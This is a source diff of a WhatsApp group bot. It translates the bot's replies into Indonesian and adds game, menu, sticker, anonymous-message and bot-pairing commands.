0.72 +let id = m.chat +let users = global.db.users[m.sender] +let json = JSON.parse(JSON.stringify(XeonBotInc.tebaklirik[id][1])) + + if (budy.toLowerCase() == json.jawaban.toLowerCase().trim()) { +user.money += XeonBotInc.tebaklirik[id][2] + global.db.users[m.sender].exp += 10 + var teks = `*GAME TEBAK LIRIK*\n\nJawaban Kamu Benar!\n Hadiah : +${XeonBotInc.tebaklirik[id][2]} Money ๐Ÿ’ธ\n EXP: +10` + replygcxeon(`${teks}`) + clearTimeout(XeonBotInc.tebaklirik[id][3]) + delete XeonBotInc.tebaklirik[id] + } else if(similarity(budy.toLowerCase(), json.jawaban.toLowerCase().trim()) >= threshold) replygcxeon(`*Dikit Lagi!*`) +// else reply(`*Salah!*`) + } +//=========================================\\ + +if (tebaktebakan.hasOwnProperty(m.sender.split('@')[0]) && isCmd) { +kuis = true +jawaban = tebaktebakan[m.sender.split('@')[0]] +if (budy.toLowerCase() == jawaban) { + XeonBotInc.sendMessage(m.chat, { image: { url: 'https://telegra.ph/file/14744917bea0185b52fb1.jpg' }, caption: `๐ŸŽฎ Tebak Tebakan ๐ŸŽฎ\n\nJawaban Benar ๐ŸŽ‰\n\nIngin bermain lagi? Silahkan Ketik Tebak Tebakan`}, {quoted:m}) + delete tebaktebakan[m.sender.split('@')[0]] +} else replygcxeon('*Jawaban Salah!*') +} + //antilink all by xeon if (AntiLinkAll) if (budy.includes("https://")){ if (!isBotAdmins) return -bvl = `\`\`\`ใ€Œ Link Detected ใ€\`\`\`\n\nAdmin has sent a link, admin is free to send any link๐Ÿ˜‡` +bvl = `\`\`\`ใ€Œ Link Detected ใ€\`\`\`\n\n Admin kirim link,\n Admin mah bebas cuy ๐Ÿ—ฟโ˜•` if (isAdmins) return m.reply(bvl) if (m.key.fromMe) return m.reply(bvl) if (XeonTheCreator) return m.reply(bvl) @@ -1299,7 +2029,7 @@ if (XeonTheCreator) return m.reply(bvl) } }) XeonBotInc.groupParticipantsUpdate(m.chat, [m.sender], 'remove') -XeonBotInc.sendMessage(from, {text:`\`\`\`ใ€Œ Link Detected ใ€\`\`\`\n\n@${m.sender.split("@")[0]} Has been kicked because of sending link in this group`, contextInfo:{mentionedJid:[m.sender]}}, {quoted:m}) +XeonBotInc.sendMessage(from, {text:`\`\`\`ใ€Œ Link Detected ใ€\`\`\`\n\n@${m.sender.split("@")[0]} Telah di kick karena mengirim tautan di grup ini`, contextInfo:{mentionedJid:[m.sender]}}, {quoted:m}) } else { } @@ -1418,13 +2148,13 @@ Type *surrender* to surrender and admit defeat` if (Object.values(this.suit).find(roof => roof.id.startsWith('suit') && [roof.p, roof.p2].includes(m.sender))) replygcxeon(`Complete your previous game`) if (m.mentionedJid[0] === m.sender) return replygcxeon(`Can't play with myself !`) if (!m.mentionedJid[0]) return replygcxeon(`_Who do you want to challenge?_\nTag the person..\n\nExample : ${prefix}suit @${owner}`, m.chat, { mentions: [owner[1] + '@s.whatsapp.net'] }) - if (Object.values(this.suit).find(roof => roof.id.startsWith('suit') && [roof.p, roof.p2].includes(m.mentionedJid[0]))) return replygcxeon(`The person you are challenging is playing suit with someone else :(`) + if (Object.values(this.suit).find(roof => roof.id.startsWith('suit') && [roof.p, roof.p2].includes(m.mentionedJid[0]))) return replygcxeon(`Orang yang Anda tantang sedang bermain sesuai dengan orang lain :(`) let id = 'suit_' + new Date() * 1 let caption = `_*SUIT PvP*_ @${m.sender.split`@`[0]} *Challenged* @${m.mentionedJid[0].split`@`[0]} *to play suit* -*Hi* @${m.mentionedJid[0].split`@`[0]} *Please type accept to accept or type reject to reject` +*Hi* @${m.mentionedJid[0].split`@`[0]} *Silahkan ketik accept untuk menerima atau ketik reject untuk menolak` this.suit[id] = { chat: await XeonBotInc.sendText(m.chat, caption, m, { mentions: parseMention(caption) }), id: id, @@ -1432,31 +2162,64 @@ Type *surrender* to surrender and admit defeat` p2: m.mentionedJid[0], status: 'wait', waktu: setTimeout(() => { - if (this.suit[id]) XeonBotInc.sendText(m.chat, `_Suit time out_`, m) + if (this.suit[id]) XeonBotInc.sendText(m.chat, `_suit waktu habis_`, m) delete this.suit[id] }, 60000), poin, poin_lose, timeout } } break case 'public': { - if (!XeonTheCreator) return XeonStickOwner() - XeonBotInc.public = true - replygcxeon('*Successful in Changing To Public Usage*') +if (!XeonTheCreator) return XeonStickOwner() +XeonBotInc.public = true +replygcxeon('*Berhasil Mengubah Ke Penggunaan Publik*') } break case 'self': { - if (!XeonTheCreator) return XeonStickOwner() - XeonBotInc.public = false - replygcxeon('*Successful in Changing To Self Usage*') +if (!XeonTheCreator) return XeonStickOwner() +XeonBotInc.public = false +replygcxeon('*Sukses Berubah Menjadi Pemakaian Sendiri*') } break -case 'rentbot': { -if (m.isGroup) return XeonStickPrivate() -rentfromxeon(XeonBotInc, m, from) +case 'smeme': case 'stickermeme': case 'stickmeme': { + if (!quoted) return replygcxeon(`Where is the picture?`) +let { TelegraPh } = require('./lib/uploader') +if (text.includes('|')) return m.reply(`Send/Reply Photo With Caption ${prefix + command} *text*`) +if (!/image/.test(mime)) return m.reply(`Send/Reply Photo With Caption ${prefix + command} *text*`) +m.reply(mess.wait) +mee = await XeonBotInc.downloadAndSaveMediaMessage(quoted) +mem = await TelegraPh(mee) +meme = `https://api.memegen.link/images/custom/-/${text}.png?background=${mem}` +memek = await XeonBotInc.sendImageAsSticker(m.chat, meme, m, { packname: global.packname, author: global.author }) +await fs.unlinkSync(memek) +} +break + + +case 'jadibot': { + if(isJadibot) return m.reply(`Anda sudah menjadi bot, silahkan ketik ${prefix}stopjadibot untuk berhenti menjadi bot`) + let { key } = await XeonBotInc.sendMessage(m.chat, { text: mess.wait }, { quoted: m }); + +if (!isJadibot && fs.existsSync(`./database/rentbot/${sender.split("@")[0]}`)) { + try { + fs.rmdirSync(`./database/rentbot/${sender.split("@")[0]}`, { recursive: true }); + } catch (err) { + console.error('Terjadi kesalahan saat menghapus direktori:', err); + } +} + +dzsyarnt(XeonBotInc, m, m.chat); +await sleep(10000); +let codes = await global.db.jadibot[m.sender]?.pairing; +await XeonBotInc.sendMessage(m.chat, { text: lang.dzsyarnt(codes)[0], edit: key }); +m.reply(codes); +m.reply(lang.dzsyarnt(codes)[1]); +await sleep(3000); +delete global.db.jadibot[m.sender]?.pairing; + } break -case 'rentbotlist': +case 'listjadibot': try { let user = [... new Set([...global.conns.filter(XeonBotInc => XeonBotInc.user).map(XeonBotInc => XeonBotInc.user)])] te = "*Rentbot List*\n\n" @@ -1467,12 +2230,13 @@ te += " ร— Name : " + i.name + "\n\n" } XeonBotInc.sendMessage(from,{text:te,mentions: [y], },{quoted:m}) } catch (err) { -replygcxeon(`There are no users who have rented the bot yet`) +replygcxeon(`Belum ada pengguna yang menyewa bot`) } break -case 'shutdown': +case 'restart': if (!XeonTheCreator) return XeonStickOwner() -replygcxeon(`Ba bye...`) +replygcxeon(`restarting danzz bot`) +replygcxeon(`Done โœ…`) await sleep(3000) process.exit() break @@ -1481,67 +2245,77 @@ const repf = await XeonBotInc.sendMessage(from, { contacts: { displayName: `${list.length} Contact`, contacts: list }, mentions: [sender] }, { quoted: m }) -XeonBotInc.sendMessage(from, { text : `Hi @${sender.split("@")[0]}, Here is my handsome owner๐Ÿ˜‡`, mentions: [sender]}, { quoted: repf }) +XeonBotInc.sendMessage(from, { text : `Hallo @${sender.split("@")[0]}, Ini pemilikku yang ganteng dan cantik ๐Ÿฆ`, mentions: [sender]}, { quoted: repf }) } break -case 'alive': case 'panel': case 'list': case 'menu': case 'help': case '?': { - let ownernya = ownernomer + '@s.whatsapp.net' + case 'menu': { + reply(mess.wait) + let ownernya = ownernomer + '@s.whatsapp.net' let me = m.sender let timestampe = speed() let latensie = speed() - timestampe - xeonezy = `โ”Œโ”€โ– -โ”‚ Hi ๐Ÿ‘‹ -โ””โ”ฌโ– ${pushname} -โ”Œโ”คโœ‘ ${xeonytimewisher} ๐Ÿ˜„ -โ”‚โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ˆ โณน -โ”‚ -โ””โ”€ ๐˜ฝ๐™Š๐™ ๐™„๐™‰๐™๐™Š -โ”‚๐—ฆ๐—ฝ๐—ฒ๐—ฒ๐—ฑ : ${latensie.toFixed(4)} miliseconds -โ”‚๐—ฅ๐˜‚๐—ป๐˜๐—ถ๐—บ๐—ฒ : ${runtime(process.uptime())} -โ”‚๐—•๐—ผ๐˜ : ${global.botname} -โ”‚๐—ข๐˜„๐—ป๐—ฒ๐—ฟ ๐—ก๐—ผ: ${ownernumber} -โ”‚๐—ฃ๐—ฟ๐—ฒ๐—ณ๐—ถ๐˜… : NO-PREFIX -โ”‚๐— ๐—ผ๐—ฑ๐—ฒ : ${XeonBotInc.public ? 'Public' : `Self`} -โ”‚๐—›๐—ผ๐˜€๐˜ ๐—ก๐—ฎ๐—บ๐—ฒ : ${os.hostname()} -โ”‚๐—ฃ๐—น๐—ฎ๐˜๐—ณ๐—ผ๐—ฟ๐—บ : ${os.platform()} -โ”‚ -โ””โ”€ ๐™๐™Ž๐™€๐™ ๐™„๐™‰๐™๐™Š -โ”‚๐—ก๐—ฎ๐—บ๐—ฒ : ${pushname} -โ”‚๐—ก๐˜‚๐—บ๐—ฏ๐—ฒ๐—ฟ : @${me.split('@')[0]} -โ”‚๐—ฃ๐—ฟ๐—ฒ๐—บ๐—ถ๐˜‚๐—บ : ${isPrem ? 'โœ…' : `โŒ`} -โ”‚ -โ””โ”€ ๐™๐™„๐™ˆ๐™€ ๐™„๐™‰๐™๐™Š -โ”‚๐—ง๐—ถ??๐—ฒ : ${xtime} -โ”‚๐——๐—ฎ๐˜๐—ฒ : ${xdate} -โ””โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ˆ โณน - โ”‚โœ‘ Please Type The *MENU* - โ”‚โœ‘ Given *BELOW* -โ”Œโ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ˆ โณน -โ”‚โ.allmenu -โ”‚โ.downloadmenu -โ”‚โ.funmenu -โ”‚โ.aimenu -โ”‚โ.groupmenu -โ”‚โ.ownermenu -โ”‚โ.photooxymenu -โ”‚โ.textpromenu -โ”‚โ.ephoto360menu -โ”‚โ.animemenu -โ”‚โ.nsfwmenu -โ”‚โ.randomphotomenu -โ”‚โ.randomvideomenu -โ”‚โ.stickermenu -โ”‚โ.databasemenu -โ”‚โ.stalkermenu -โ”‚โ.bugmenu -โ”‚โ.othermenu -โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ˆ โณน` + xeonezy = `_๐Ÿ‘‹Hai *${pushname}*, Nama ku adalah Sopo Bot, Bot WhatsApp yang di buat untuk membantu anda dalam banyak hal, seperti membuat sticker, downloader, ai, dll_ + + +โ”โ”โ” *ใ€Œ DASBOARD ใ€* +โ”ƒ โ– Name: ${pushname} +โ”ƒ โ– prefix: [ *NO PREFIX* ] +โ”ƒ โ– mode: _${XeonBotInc.public ? 'Public' : `Self`}_ +โ”ƒ โ– Jumlah User: ${Object.keys(global.db.users).length} +โ”—โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”… + + +โ”โ”โ” *ใ€Œ SOSIAL MEDIA ใ€* +โ”ƒ โ– Whatsapp : wa.me/6285892928715 +โ”ƒ โ– Instagram : jr_danz +โ”ƒ โ– Facebook : Danz X Nano +โ”—โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”… + +โ”โ”โ” *ใ€Œ INFO BOT ใ€* +โ”ƒ โ– Bot name: Sopo +โ”ƒ โ– Developer name: Danzz? +โ”ƒ โ– Version: 7.0 +โ”—โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”… + +โ”โ”โ” *ใ€Œ LIST MENU ใ€* +โ”ƒโ”‚01) *.แด€สŸสŸแดแด‡ษดแดœ* +โ”ƒโ”‚02) *.ษขแด€แดแด‡แดแด‡ษดแดœ* +โ”ƒโ”‚03) *.ษช๊œฑสŸแด€แดษชแดแด‡ษดแดœ* +โ”ƒโ”‚04) *.แด…แดแดแด€ษชษดแดแด‡ษดแดœ* +โ”ƒโ”‚05) *.แด˜แดœ๊œฑสœแดแด‡ษดแดœ* +โ”ƒโ”‚06) *.แด„แด˜แด€ษดแด‡สŸแดแด‡ษดแดœ* +โ”ƒโ”‚07) *.แด…แดแดกษดสŸแดแด€แด…แดแด‡ษดแดœ* +โ”ƒโ”‚08) *.๊œฐแดœษดแดแด‡ษดแดœ* +โ”ƒโ”‚09) *.แด€ษชแดแด‡ษดแดœ* +โ”ƒโ”‚10) *.ษขส€แดแดœแด˜แดแด‡ษดแดœ* +โ”ƒโ”‚11) *.แดแดกษดแด‡ส€แดแด‡ษดแดœ* +โ”ƒโ”‚12) *.แด˜สœแดแด›แดแดxสแดแด‡ษดแดœ* +โ”ƒโ”‚13) *.แด›แด‡xแด›แด˜ส€แดแดแด‡ษดแดœ* +โ”ƒโ”‚14) *.แด‡แด˜สœแดแด›แด360แดแด‡ษดแดœ* +โ”ƒโ”‚15) *.แด€ษดษชแดแด‡แดแด‡ษดแดœ* +โ”ƒโ”‚15) *.ษด๊œฑ๊œฐแดกแดแด‡ษดแดœ* +โ”ƒโ”‚16) *.ส€แด€ษดแด…แดแดแด˜สœแดแด›แดแดแด‡ษดแดœ* +โ”ƒโ”‚17) *.ส€แด€ษดแด…แดแดแด ษชแด…แด‡แดแดแด‡ษดแดœ* +โ”ƒโ”‚18) *.๊œฑแด›ษชแด„แด‹แด‡ส€แดแด‡ษดแดœ* +โ”ƒโ”‚19) *.แด…แด€แด›แด€ส™แด€๊œฑแด‡แดแด‡ษดแดœ* +โ”ƒโ”‚20) *.๊œฑแด›แด€สŸแด‹แด‡ส€แดแด‡ษดแดœ* +โ”ƒโ”‚21) *.ส™แดœษขแดแด‡ษดแดœ* +โ”ƒโ”‚22) *.แดแด›สœแด‡ส€แดแด‡ษดแดœ* +โ”ƒโ”‚23) *.ส€แด˜ษขแดแด‡ษดแดœ* +โ”ƒโ”‚24) *.๊œฑแด›แดส€แด‡แดแด‡ษดแดœ* +โ”ƒโ”‚25) *.แด€ษดแดษดสแดแดแดœ๊œฑแดแด‡ษดแดœ* +โ”ƒโ”‚26) *.Qแดœแดแด›แด‡๊œฑแดแด‡ษดแดœ* +โ”—โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”… +โŒ• โ™โ˜โ™โ™โ˜โ™โšโ™โ˜โ™โ™โšโ™โ˜โ™โ˜โ™โšโ™โ˜โ™โ™โšโ™โ˜โ™โ™โ˜โ™โšโ™โ˜ โŒ• + + +โ€ข _*แดŠษชแด‹แด€ แด€แด…แด€ า“ษชแด›แดœส€ สแด€ษดษข แด‡ส€ส€แดส€, sษชสŸแด€สœแด‹แด€ษด แด‹แด‡แด›ษชแด‹ #๐š›๐šŽ๐š™๐š˜๐š›๐š*_ +โ€ข _*ษชา“ แด›สœแด‡ส€แด‡ ษชs แด€ษด แด‡ส€ส€แดส€ า“แด‡แด€แด›แดœส€แด‡s, แด˜สŸแด‡แด€sแด‡ แด›สแด˜แด‡ #๐š›๐šŽ๐š™๐š˜๐š›๐š*_` let ments = [ownernya, me, mark] - XeonBotInc.sendMessage(from, { -text: xeonezy, + sendXeonBotIncMessage(from, { +text: `${xeonezy}`, +mentions:[sender], contextInfo:{ -forwardingScore: 9999999, -isForwarded: true, mentionedJid:[sender], "externalAdReply": { "showAdAttribution": true, @@ -1549,18 +2323,22 @@ mentionedJid:[sender], "title": botname, "containsAutoReply": true, "mediaType": 1, -"thumbnail": fs.readFileSync("./XeonMedia/theme/cheemspic.jpg"), +"thumbnail": fs.readFileSync("./XeonMedia/theme/allmenu.jpeg"), "mediaUrl": `${wagc}`, "sourceUrl": `${wagc}` } } -}, { quoted: m }) +}) } break +//=========================================\\ + +//=========================================\\ case 'allmenu': { -var unicorn = await getBuffer(picak+'All Menu') + reply(mess.wait) +var unicorn = await getBuffer(picak+'Random Vid Menu') sendXeonBotIncMessage(from, { -text: `Hi @${sender.split("@")[0]}\n\n${allmenu(prefix, hituet)}`, +text: `Hallo @${sender.split("@")[0]}\n\n${allmenu(prefix)}`, mentions:[sender], contextInfo:{ mentionedJid:[sender], @@ -1570,7 +2348,7 @@ mentionedJid:[sender], "title": botname, "containsAutoReply": true, "mediaType": 1, -"thumbnail": fs.readFileSync("./XeonMedia/theme/cheemspic.jpg"), +"thumbnail": fs.readFileSync("./XeonMedia/theme/allmenu.jpeg"), "mediaUrl": `${wagc}`, "sourceUrl": `${wagc}` } @@ -1578,31 +2356,40 @@ mentionedJid:[sender], }) } break -case 'ownermenu': { -var unicorn = await getBuffer(picak+'Owner Menu') -sendXeonBotIncMessage(from, { -text: `Hi @${sender.split("@")[0]}\n\n${ownermenu(prefix)}`, -mentions:[sender], -contextInfo:{ -mentionedJid:[sender], -"externalAdReply": { -"showAdAttribution": true, -"renderLargerThumbnail": true, -"title": botname, -"containsAutoReply": true, -"mediaType": 1, -"thumbnail": fs.readFileSync("./XeonMedia/theme/cheemspic.jpg"), -"mediaUrl": `${wagc}`, -"sourceUrl": `${wagc}` -} -} -}) + +case "domainmenu": { +if (!XeonTheCreator) return reply('Maaf, command ini hanya untuk pemilik.') +const owned = `6285892928715@s.whatsapp.net` +const text12 = `*Hi @${sender.split("@")[0]} ๐Ÿ‘‹* + +โ–ญโ–ฌโ–ญ( *DOMAIN MENU* )โ–ญโ–ฌโ–ญ + +โญ” ${prefix}subdomain +โญ” ${prefix}addgc +โญ” ${prefix}delgc + + Powered By *@${owned.split("@")[0]}* +โ–ฌโ–ญโ–ฌโ–ญโ–ฌโ–ญโ–ฌโ–ญโ–ฌโ–ญโ–ฌโ–ญโ–ฌ` +XeonBotInc.sendMessage(m.chat, { +text: text12, +contextInfo: { +externalAdReply: { +showAdAttribution: true, +title: ownername, +body: 'bodynya', +thumbnailUrl: 'https://telegra.ph/file/596b9a4aae7949d1f02df.jpg', +sourceUrl: "https://chat.whatsapp.com/JVTqE4Ra4r8BYjLagn2F7Q", +mediaType: 1, +renderLargerThumbnail: true +}}}, {quoted: fkontak}) } break -case 'othermenu': { - var unicorn = await getBuffer(picak+'Other Menu') + +case 'gamemenu': { + reply(mess.wait) +var unicorn = await getBuffer(picak+'Random Vid Menu') sendXeonBotIncMessage(from, { -text: `Hi @${sender.split("@")[0]}\n\n${othermenu(prefix)}`, +text: `Hallo @${sender.split("@")[0]}\n\n${gamemenu(prefix)}`, mentions:[sender], contextInfo:{ mentionedJid:[sender], @@ -1612,7 +2399,7 @@ mentionedJid:[sender], "title": botname, "containsAutoReply": true, "mediaType": 1, -"thumbnail": fs.readFileSync("./XeonMedia/theme/cheemspic.jpg"), +"thumbnail": fs.readFileSync("./XeonMedia/theme/allmenu.jpeg"), "mediaUrl": `${wagc}`, "sourceUrl": `${wagc}` } @@ -1620,10 +2407,12 @@ mentionedJid:[sender], }) } break -case 'downloadmenu': { -var unicorn = await getBuffer(picak+'Download Menu') + +case 'cpanelmenu': { + reply(mess.wait) +var unicorn = await getBuffer(picak+'Random Vid Menu') sendXeonBotIncMessage(from, { -text: `Hi @${sender.split("@")[0]}\n\n${downloadmenu(prefix)}`, +text: `Hallo @${sender.split("@")[0]}\n\n${cpanelmenu(prefix)}`, mentions:[sender], contextInfo:{ mentionedJid:[sender], @@ -1633,7 +2422,7 @@ mentionedJid:[sender], "title": botname, "containsAutoReply": true, "mediaType": 1, -"thumbnail": fs.readFileSync("./XeonMedia/theme/cheemspic.jpg"), +"thumbnail": fs.readFileSync("./XeonMedia/theme/allmenu.jpeg"), "mediaUrl": `${wagc}`, "sourceUrl": `${wagc}` } @@ -1641,10 +2430,12 @@ mentionedJid:[sender], }) } break -case 'groupmenu': { -var unicorn = await getBuffer(picak+'Group Menu') +//=========================================\\ +case 'storemenu': { + reply(mess.wait) +var unicorn = await getBuffer(picak+'Random Vid Menu') sendXeonBotIncMessage(from, { -text: `Hi @${sender.split("@")[0]}\n\n${groupmenu(prefix)}`, +text: `Hallo @${sender.split("@")[0]}\n\n${storemenu(prefix)}`, mentions:[sender], contextInfo:{ mentionedJid:[sender], @@ -1654,7 +2445,7 @@ mentionedJid:[sender], "title": botname, "containsAutoReply": true, "mediaType": 1, -"thumbnail": fs.readFileSync("./XeonMedia/theme/cheemspic.jpg"), +"thumbnail": fs.readFileSync("./XeonMedia/theme/allmenu.jpeg"), "mediaUrl": `${wagc}`, "sourceUrl": `${wagc}` } @@ -1662,10 +2453,12 @@ mentionedJid:[sender], }) } break -case 'funmenu': { -var unicorn = await getBuffer(picak+'Fun Menu') +//=========================================\\ +case 'quotesmenu': { + reply(mess.wait) +var unicorn = await getBuffer(picak+'Random Vid Menu') sendXeonBotIncMessage(from, { -text: `Hi @${sender.split("@")[0]}\n\n${funmenu(prefix)}`, +text: `Hallo @${sender.split("@")[0]}\n\n${quotesmenu(prefix)}`, mentions:[sender], contextInfo:{ mentionedJid:[sender], @@ -1675,7 +2468,7 @@ mentionedJid:[sender], "title": botname, "containsAutoReply": true, "mediaType": 1, -"thumbnail": fs.readFileSync("./XeonMedia/theme/cheemspic.jpg"), +"thumbnail": fs.readFileSync("./XeonMedia/theme/allmenu.jpeg"), "mediaUrl": `${wagc}`, "sourceUrl": `${wagc}` } @@ -1683,10 +2476,12 @@ mentionedJid:[sender], }) } break -case 'stalkermenu': { -var unicorn = await getBuffer(picak+'Stalker Menu') +//=========================================\\ +case 'anonymousmenu': { + reply(mess.wait) +var unicorn = await getBuffer(picak+'Random Vid Menu') sendXeonBotIncMessage(from, { -text: `Hi @${sender.split("@")[0]}\n\n${stalkermenu(prefix)}`, +text: `Hallo @${sender.split("@")[0]}\n\n${anonymousmenu(prefix)}`, mentions:[sender], contextInfo:{ mentionedJid:[sender], @@ -1696,7 +2491,7 @@ mentionedJid:[sender], "title": botname, "containsAutoReply": true, "mediaType": 1, -"thumbnail": fs.readFileSync("./XeonMedia/theme/cheemspic.jpg"), +"thumbnail": fs.readFileSync("./XeonMedia/theme/allmenu.jpeg"), "mediaUrl": `${wagc}`, "sourceUrl": `${wagc}` } @@ -1704,10 +2499,12 @@ mentionedJid:[sender], }) } break -case 'randomphotomenu': { -var unicorn = await getBuffer(picak+'Random Pic Menu') +//=========================================\\ +case 'islamimenu': { + reply(mess.wait) +var unicorn = await getBuffer(picak+'Random Vid Menu') sendXeonBotIncMessage(from, { -text: `Hi @${sender.split("@")[0]}\n\n${randphotomenu(prefix)}`, +text: `Hallo @${sender.split("@")[0]}\n\n${islamimenu(prefix)}`, mentions:[sender], contextInfo:{ mentionedJid:[sender], @@ -1717,7 +2514,7 @@ mentionedJid:[sender], "title": botname, "containsAutoReply": true, "mediaType": 1, -"thumbnail": fs.readFileSync("./XeonMedia/theme/cheemspic.jpg"), +"thumbnail": fs.readFileSync("./XeonMedia/theme/islam.jpeg"), "mediaUrl": `${wagc}`, "sourceUrl": `${wagc}` } @@ -1725,10 +2522,12 @@ mentionedJid:[sender], }) } break -case 'randomvideomenu': { + +case 'rpgmenu': { + reply(mess.wait) var unicorn = await getBuffer(picak+'Random Vid Menu') sendXeonBotIncMessage(from, { -text: `Hi @${sender.split("@")[0]}\n\n${randvideomenu(prefix)}`, +text: `Hallo @${sender.split("@")[0]}\n\n${rpgmenu(prefix)}`, mentions:[sender], contextInfo:{ mentionedJid:[sender], @@ -1738,7 +2537,7 @@ mentionedJid:[sender], "title": botname, "containsAutoReply": true, "mediaType": 1, -"thumbnail": fs.readFileSync("./XeonMedia/theme/cheemspic.jpg"), +"thumbnail": fs.readFileSync("./XeonMedia/theme/rpg.jpg"), "mediaUrl": `${wagc}`, "sourceUrl": `${wagc}` } @@ -1746,10 +2545,12 @@ mentionedJid:[sender], }) } break -case 'textpromenu': { -var unicorn = await getBuffer(picak+'Textpro Menu') + +case 'ownermenu': { + reply(mess.wait) +var unicorn = await getBuffer(picak+'Random Vid Menu') sendXeonBotIncMessage(from, { -text: `Hi @${sender.split("@")[0]}\n\n${textpromenu(prefix)}`, +text: `Hallo @${sender.split("@")[0]}\n\n${ownermenu(prefix)}`, mentions:[sender], contextInfo:{ mentionedJid:[sender], @@ -1759,7 +2560,7 @@ mentionedJid:[sender], "title": botname, "containsAutoReply": true, "mediaType": 1, -"thumbnail": fs.readFileSync("./XeonMedia/theme/cheemspic.jpg"), +"thumbnail": fs.readFileSync("./XeonMedia/theme/allmenu.jpeg"), "mediaUrl": `${wagc}`, "sourceUrl": `${wagc}` } @@ -1767,10 +2568,11 @@ mentionedJid:[sender], }) } break -case 'photooxymenu': { -var unicorn = await getBuffer(picak+'Photooxy Menu') +case 'pushmenu': { + reply(mess.wait) +var unicorn = await getBuffer(picak+'Random Vid Menu') sendXeonBotIncMessage(from, { -text: `Hi @${sender.split("@")[0]}\n\n${photooxymenu(prefix)}`, +text: `Hallo @${sender.split("@")[0]}\n\n${pushmenu(prefix)}`, mentions:[sender], contextInfo:{ mentionedJid:[sender], @@ -1780,7 +2582,7 @@ mentionedJid:[sender], "title": botname, "containsAutoReply": true, "mediaType": 1, -"thumbnail": fs.readFileSync("./XeonMedia/theme/cheemspic.jpg"), +"thumbnail": fs.readFileSync("./XeonMedia/theme/allmenu.jpeg"), "mediaUrl": `${wagc}`, "sourceUrl": `${wagc}` } @@ -1788,10 +2590,11 @@ mentionedJid:[sender], }) } break -case 'ephoto360menu': { -var unicorn = await getBuffer(picak+'Photo360 Menu') +case 'othermenu': { + reply(mess.wait) +var unicorn = await getBuffer(picak+'Random Vid Menu') sendXeonBotIncMessage(from, { -text: `Hi @${sender.split("@")[0]}\n\n${ephoto360menu(prefix)}`, +text: `Hallo @${sender.split("@")[0]}\n\n${othermenu(prefix)}`, mentions:[sender], contextInfo:{ mentionedJid:[sender], @@ -1801,7 +2604,7 @@ mentionedJid:[sender], "title": botname, "containsAutoReply": true, "mediaType": 1, -"thumbnail": fs.readFileSync("./XeonMedia/theme/cheemspic.jpg"), +"thumbnail": fs.readFileSync("./XeonMedia/theme/allmenu.jpeg"), "mediaUrl": `${wagc}`, "sourceUrl": `${wagc}` } @@ -1809,10 +2612,209 @@ mentionedJid:[sender], }) } break -case 'nsfwmenu': { -var unicorn = await getBuffer(picak+'Anime NSFW Menu') +case 'downloadmenu': { + reply(mess.wait) +var unicorn = await getBuffer(picak+'Download Menu') +const dzsyagf = await fs.readFileSync(`./media/thumb1.mp4`) +let text = `Hallo @${sender.split("@")[0]}\n\n${downloadmenu(prefix, hituet)}` +XeonBotInc.sendMessage(m.chat,{ caption: text, video: dzsyagf, gifPlayback:true },{quoted:m}) +} +break + +case "confess": case 'menfes': case 'menfess':{ +this.menfes = this.menfes ? this.menfes : {} +roof = Object.values(this.menfes).find(menpes => [menpes.a, menpes.b].includes(m.sender)) +if (roof) return reply("Kamu masih berada dalam sesi menfess") +if (m.isGroup) return reply('Fitur Khusus Di private chat!') +if (!text) return reply(`Kirim Perintah ${prefix + command} nama|nomor|pesan\n\nContoh :\n${prefix + command} ${pushname}|628xxx|Menfes nih\n`) +if (!text.includes('|')) return reply(`Kirim Perintah ${prefix + command} nama|nomor|pesan\n\nContoh :\n${prefix + command} ${pushname}|6292818802718|Menfes nih\n`) +let [namaNya, nomorNya, pesanNya] = text.split`|` +if (nomorNya.startsWith('0')) return reply(`Kirim Perintah ${prefix + command} nama|nomor|pesan\n\nContoh :\n${prefix + command} ${pushname}|628xxx|Menfes nih\n`) +if(isNaN(nomorNya)) return reply(`Kirim Perintah ${prefix + command} nama|nomor|pesan\n\nContoh :\n${prefix + command} ${pushname}|628xxx|Menfes nih\n`) +var yoi = `Hi ada menfess nih buat kamu\n\nDari : ${namaNya}\nPesan : ${pesanNya}\n\nSilahkan ketik ${prefix}balasmenfess -- Untuk menerima menfess/confess\nSilahkan ketik ${prefix}tolakmenfess -- Untuk menolak menfess/confess\n\n_Pesan ini di tulis oleh seseorang pengguna bot, bot hanya menyampaikan saja_` +let tod = await getBuffer('https://telegra.ph/file/c8fdfc8426f5f60b48cca.jpg') +let id = m.sender +this.menfes[id] = { +id, +a: m.sender, +b: nomorNya + "@s.whatsapp.net", +state: 'WAITING' +} + await XeonBotInc.sendMessage(nomorNya + '@s.whatsapp.net', {image: tod, caption:yoi }, {}) +reply('Pesan berhasil dikirim ke nomor tujuan. Moga aja dibales coy') +} +break +case 'balasmenfess': case 'balasmenfes': { +roof = Object.values(this.menfes).find(menpes => [menpes.a, menpes.b].includes(m.sender)) +if (!roof) return reply("Belum ada sesi menfess") +find = Object.values(this.menfes).find(menpes => menpes.state == 'WAITING') +let room = Object.values(this.menfes).find(room => [room.a, room.b].includes(m.sender) && room.state === 'WAITING') +let other = [room.a, room.b].find(user => user !== m.sender) +find.b = m.sender +find.state = 'CHATTING' +this.menfes[find.id] = {...find} +await XeonBotInc.sendMessage(other, {text: `_@${m.sender.split("@")[0]} telah menerima menfess kamu, sekarang kamu bisa chat lewat bot ini_\n\n*NOTE :*\nJika ingin berhenti dari menfess, silahkan ketik .stopmenfess`, mentions: [m.sender]}) +XeonBotInc.sendMessage(m.chat, {text: `_Menfess telah diterima, sekarang kamu bisa chatan lewat bot ini_\n\n*NOTE :*\nJika ingin berhenti dari menfess, silahkan ketik .stopmenfess`}) +} +break + case 'tolakmenfess': case 'tolakmenfes': { +roof = Object.values(this.menfes).find(menpes => [menpes.a, 